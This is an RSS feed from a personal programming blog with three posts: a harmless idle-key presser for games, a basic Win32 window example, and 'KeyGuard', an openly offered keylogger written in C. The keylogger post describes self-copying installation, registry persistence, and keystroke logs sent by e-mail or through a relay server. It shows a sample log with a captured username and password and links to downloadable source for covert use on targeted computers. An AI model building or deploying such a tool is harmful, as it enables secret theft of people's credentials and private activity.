<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Thronic.com &#187; C</title>
	<atom:link href="http://thronic.com/category/development/c/feed/" rel="self" type="application/rss+xml" />
	<link>http://thronic.com</link>
	<description>Personal Computing and Development by Dag J. Nedrelid</description>
	<lastBuildDate>Wed, 28 Apr 2010 12:21:44 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>IdleGuard</title>
		<link>http://thronic.com/2009/development/devlog/idleguard/</link>
		<comments>http://thronic.com/2009/development/devlog/idleguard/#comments</comments>
		<pubDate>Tue, 29 Sep 2009 20:59:45 +0000</pubDate>
		<dc:creator>Dag Jonny Nedrelid</dc:creator>
				<category><![CDATA[C]]></category>
		<category><![CDATA[Devlog]]></category>
		<category><![CDATA[Gaming]]></category>

		<guid isPermaLink="false">http://thronic.com/?p=165</guid>
		<description><![CDATA[Some MMO games have been criticized for having up to 5 hour &#8211; or more &#8211; queues before you can actually enter the game and play. This inspired me to create a mini-program that might help you with this by reducing the amount of times you need to actually log in. Any software that kicks [...]]]></description>
			<content:encoded><![CDATA[<p>Some MMO games have been criticized for having up to 5 hour &#8211; or more &#8211; queues before you can actually enter the game and play. This inspired me to create a mini-program that might help you with this by reducing the amount of times you need to actually log in. Any software that kicks you for being idle might have a use for this little program.</p>
<p><span id="more-165"></span></p>
<p><strong>IdleGuard</strong><br />
A small program (72kb) that &#8211; so far &#8211; every 5 minutes &#8220;pushes&#8221; the space key for you which should reset the ingame logout timer. It is extremely CPU cycle friendly (no loop stress/block/hang), and will require practically zero resources to keep running.</p>
<p><strong>Is it safe to use?</strong><br />
Yes. The program does not hack or manipulate any memory space of any software. It simply sends a virtual key code into the windows keyboard stream.</p>
<p><strong>Can I only use this with games?</strong><br />
It <em>should</em> work on any applications and systems that would otherwise kick you for being idle for too long.</p>
<p><strong>Vista note</strong><br />
The Windows Vista User Interface Privilege Isolation (UIPI) might prevent this program to run properly or even crash as I have not bothered to error-handle such an event. You should be able to solve this by either turning off UAC or simply run it as administrator.</p>
<p>You can download the program <a href="http://thronic.com/pubfiles/IdleGuard.zip">here</a> (win32 executable, no dependencies).</p>
<p><strong>How do I use it?</strong><br />
Just start it, it will open a small window that you can close when you don&#8217;t need it running anymore. As long as you run it, it will &#8220;push&#8221; the space key for you every 5 minutes. Remember to have your game or program in focus while it&#8217;s running.</p>
]]></content:encoded>
			<wfw:commentRss>http://thronic.com/2009/development/devlog/idleguard/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A Simple Win32 Window in C</title>
		<link>http://thronic.com/2009/development/a-simple-win32-window-in-c/</link>
		<comments>http://thronic.com/2009/development/a-simple-win32-window-in-c/#comments</comments>
		<pubDate>Thu, 18 Jun 2009 11:44:45 +0000</pubDate>
		<dc:creator>Dag Jonny Nedrelid</dc:creator>
				<category><![CDATA[C]]></category>
		<category><![CDATA[Development]]></category>

		<guid isPermaLink="false">http://thronic.com/?p=134</guid>
		<description><![CDATA[I decided to get a better grasp on the Win32 API while I made my keylogger a while back. Here is a small example for making the most basic Win32 window. It is heavily commented to give a thorough overview of the different elements.
You can download the example with its source code here.
]]></description>
			<content:encoded><![CDATA[<p>I decided to get a better grasp on the Win32 API while I made my keylogger a while back. Here is a small example for making the most basic Win32 window. It is heavily commented to give a thorough overview of the different elements.</p>
<p>You can download the example with its source code <a href="/pubfiles/DJ - A simple Win32 window in C.zip">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://thronic.com/2009/development/a-simple-win32-window-in-c/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>KeyGuard &#8211; A keylogger in C</title>
		<link>http://thronic.com/2008/development/devlog/keyguard-a-keylogger-in-c/</link>
		<comments>http://thronic.com/2008/development/devlog/keyguard-a-keylogger-in-c/#comments</comments>
		<pubDate>Mon, 20 Oct 2008 00:15:50 +0000</pubDate>
		<dc:creator>Dag Jonny Nedrelid</dc:creator>
				<category><![CDATA[C]]></category>
		<category><![CDATA[Devlog]]></category>

		<guid isPermaLink="false">http://thronic.com/?p=49</guid>
		<description><![CDATA[A small keylogger that&#8217;s easy to install. I used the Win32 API with socket/networking and windows registry manipulation, programmed in C. My goal was to create a small keylogger that can be installed just by executing a single small file.

Main KeyGuard features:

A background program that logs PC keyboard activity.
Automatic system injection by copying itself into [...]]]></description>
			<content:encoded><![CDATA[<p style="font-weight: bold;">A small keylogger that&#8217;s easy to install. I used the Win32 API with socket/networking and windows registry manipulation, programmed in C. My goal was to create a small keylogger that can be installed just by executing a single small file.</p>
<p><span id="more-49"></span></p>
<p><strong>Main KeyGuard features:</strong></p>
<ul>
<li>A background program that logs PC keyboard activity.</li>
<li>Automatic system injection by copying itself into a specified directory and adding a run value in the registry for automatic execution on startup/reboot.</li>
<li>Sends the log on e-mail when it has reached a specified amount of bytes, resets the log file for new use at every send. (Relay Server backlog will log until manual reset).</li>
<li>Consists of just 1 standalone executable with file size of 167kb (68,5kb without the icon), injects itself into the system when executed, system will remain injected with it until uninstalled as specified in source file.</li>
<li>Logs the most common keys of interest and formatting.<br />
Easy to extend its logging features.</li>
<li>Does not depend on SMTP for sending logs. Can connect to a listening KeyGuard bouncer/relay server on the Internet somewhere that will receive data and forward it and/or just save it.</li>
</ul>
<p><strong>Info from KeyGuard.c</strong></p>
<blockquote>
<pre>/*
    --
    KeyGuard

    An attempt at user activity logging by Dag J Nedrelid.
    This code is written and compiled in C.

    Designed for Windows XP clients.
    --

    A keylogger that logs the most important characters
    such as letters, numbers and common formatting. It
    can easily be extended by modifying the formatKeys[]
    array and its usage. Log is stored in a text file
    which is sent on e-mail.

    * It attempts to log in a reader-friendly way by
      logging activity under the active window titles.

    * It should be performance friendly without keeping the
      CPU towards 100% by sleeping 10 milliseconds each cycle.
      This is still fast enough to log a quick writer. 

    * It prevents logging the same key twice while same key
      is being held down in a proper way without missing the
      next key activity.

    * A mix of \r\n and HTML formatting, so it looks more
      readable on received mail and directly in text file.
      Of some reason \r\n won't trigger a newline effect in
      my text mails, and I refused to have it all on 1 line.

    * Sends you a log on e-mail and resets the log file for
      new usage. MAX_LOG_SIZE decides when to send the file.

    * The function InjectKeyGuard() is called by default:
      - It will attempt to put a copy of the file itself into
        the location defined by FILE_COPY_NAME.
      - It will attempt a windows registry modification so the
        copied file will start on every system boot/restart.

    * How to uninstall once injected:
      - Kill the process in task manager.
      - Delete the file specified in FILE_COPY_NAME
      - Delete the log file LOGFILE from same directory.
      - Delete the registry value named REGISTRY_RUN_NAME under:
        HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

    TIP: Compile with /MT and not /MD for standalone
         functionality and easy distribution.

    NOTE: Remember to link with WS2_32.lib, this code uses winsock
          to send the file through an SMTP server to an e-mail.

    The end product is a one-click keylogger that installs by itself.
    When compiled with /MT, executable file becomes ca 167KB in size.
*/</pre>
</blockquote>
<p><strong>Log output example on e-mail:</strong></p>
<blockquote>
<pre>[WINDOW: Google - Windows Internet Exp]
somesite.com

[WINDOW: Connect to somesite.com]
the username[Tab]thepassword

[WINDOW: Google - Windows Internet Exp]
I am searching stuff I should not search</pre>
</blockquote>
<p>Values such as the SMTP server to use, e-mail to receive logs &#8211; will differ in every case. It is designed for one-click execution injection, and as such it must be compiled individually with these values.</p>
<p><span style="font-style: italic; font-size: 10px;">UPDATE 24th October 2008:</span><br />
I have made a <strong>KeyGuard Relay Server</strong> (also programmed in C). This is a small linux multi-threaded server program that is able to relay connections from all <strong>KeyGuard2</strong> versions.</p>
<p>The server is useful in cases where you are not sure about what SMTP the targeted computer is using, or where the SMTP security is too strict.<br />
<strong>The KeyGuard project files</strong><br />
These files have been tested OK and been used several times with variations. I use the VC++ 2008 C compiler when making the binaries. Here are the source files &#8211; play with them, learn from them, use them wisely. Much can be improved and added, but I will not make any updates in near future as it covers what I have needed it for and I don&#8217;t have time for it. <strong></strong></p>
<p><strong>KeyGuard</strong><br />
- Sends log through a local SMTP(mail) server where it&#8217;s installed.<br />
<a href="/pubfiles/KeyGuard.zip">Download the source</a></p>
<p><strong>KeyGuard2</strong><br />
- Sends log through it&#8217;s own server, works everywhere.<br />
<a href="/pubfiles/KeyGuard2.zip">Download the source</a></p>
<p><strong>KeyGuard Relay Server</strong><br />
- Waits for authenticated calls from KeyGuard2 versions to forward the logs, and/or save them on the server itself. This is a very small multi-threaded server that can run on most linux servers as a normal user by just running the command &#8220;nohup ./KGServer &amp;&#8221; to make it keep running after you log out. Binds to a port specified in advance.<br />
<a href="/pubfiles/KGServer.zip">Download the source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://thronic.com/2008/development/devlog/keyguard-a-keylogger-in-c/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
